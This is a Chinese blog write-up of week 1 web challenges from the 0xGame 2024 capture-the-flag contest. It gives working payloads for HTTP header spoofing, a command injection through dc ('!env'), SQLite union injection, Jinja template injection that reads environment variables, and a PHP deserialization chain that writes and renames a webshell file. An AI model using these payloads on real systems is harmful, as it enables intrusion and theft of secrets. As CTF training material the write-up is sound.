0xGame 2024 Week1 WriteUp

AK了week1的Web题目

  • hello_http
  • hello_web
  • ez_login
  • ez_rce
  • ez_sql
  • ez_ssti
  • ez_unser

hello_http

最终请求报文如下:
POST\GET方法传参很简单了,不细说
伪造浏览器改User-Agent: x1cBrowser
伪造来源地址改Referer: http://localhost:8080/
伪造来源IP改X-Forwarded-For: 127.0.0.1
添加Cookie: flag=secret

POST /?hello=world HTTP/1.1
Host: 8.130.84.100:50002
User-Agent: x1cBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost:8080/
X-Forwarded-For: 127.0.0.1
Cookie: flag=secret
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

web=security

hello_web

抓包重发,可以见到第一段flag和下一步地址:f14g.php

访问f14g.php,继续抓包重发,得到后半段flag

拼接即可

ez_login

常见用户名+密码爆破可得:admin/admin123

ez_rce

用到dc命令行工具中的,其可以执行系统命令,上传参数时利用即可

http://47.76.152.109:60081/calc
expression=!env

ez_sql

根据提示可以知道题目使用sqlite
单引号被过滤

先查字段数
?id=1 order by 5,再大了就不行了,说明5列

观察回显位置
?id=1 union select 1,2,3,4,5
发现除了1的位置以为都能正常回显

尝试查查sqlite版本,可行
?id=1 union select 1,2,3,4,sqlite_version()

查表名
?id=1 union select 1,2,3,4,sql from sqlite_master

根据上面的得到的信息进行注入,即可拿flag:
?id=1 union select 1,2,3,4,flag from flag

ez_ssti

通过访问环境变量和os.environ进行SSTI
{{config.__class__.__init__.__globals__['os'].environ['flag']}}

ez_unser

先用Mamba类生成文件
exp:

<?php
class Man{
    private $name;
    function setname($ee){
        $this->name = $ee;
    }
}
class What{
    private $Kun;
    function setKun($ee){
        $this->Kun = $ee;
    }
}
class Can{
    private $Hobby;
    function setHobby($ee){
        $this->Hobby = $ee;
    }
}
class I{
    private $name;
    function setname($ee){
        $this->name = $ee;
    }

}
class Say{
    private $evil;
    function setevil($ee){
        $this->evil = $ee;
    }
}

class Mamba{

}
class Out{

}

$a=new Man();
$y=new What();
$a->setname($y);
$z=new Can();
$y->setKun($z);
$h=new I();
$z->setHobby($h);
$m=new Say();
$h->setname($m);
$k=new Mamba();   //生成文件
$m->setevil($k);
echo urlencode(serialize($a));

对应payload1:

data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D
&content=<?php system('env');  //php文件执行系统命令,访问环境变量

再用Out类文件改名
exp:

<?php
class Man{
    private $name;
    function setname($ee){
        $this->name = $ee;
    }
}
class What{
    private $Kun;
    function setKun($ee){
        $this->Kun = $ee;
    }
}
class Can{
    private $Hobby;
    function setHobby($ee){
        $this->Hobby = $ee;
    }
}
class I{
    private $name;
    function setname($ee){
        $this->name = $ee;
    }

}
class Say{
    private $evil;
    function setevil($ee){
        $this->evil = $ee;
    }
}

class Mamba{
}
class Out{
}
$a=new Man();
$y=new What();
$a->setname($y);
$z=new Can();
$y->setKun($z);
$h=new I();
$z->setHobby($h);
$m=new Say();
$h->setname($m);
$k=new Out();          //文件改名
$m->setevil($k);

echo urlencode(serialize($a));

对应payload2:

data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D
&o=1728663089.log
&n=1234.php

其中o的值写为上次传参后回显的文件名

上传完这个payload2后直接访问1234.php即可

总结

Week1的题目相对简单吧,来签个到、热热身,还是挺快乐的
其实在ez_ssti这道题里也是遇到了点新东西,学到了学到了(满足)

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇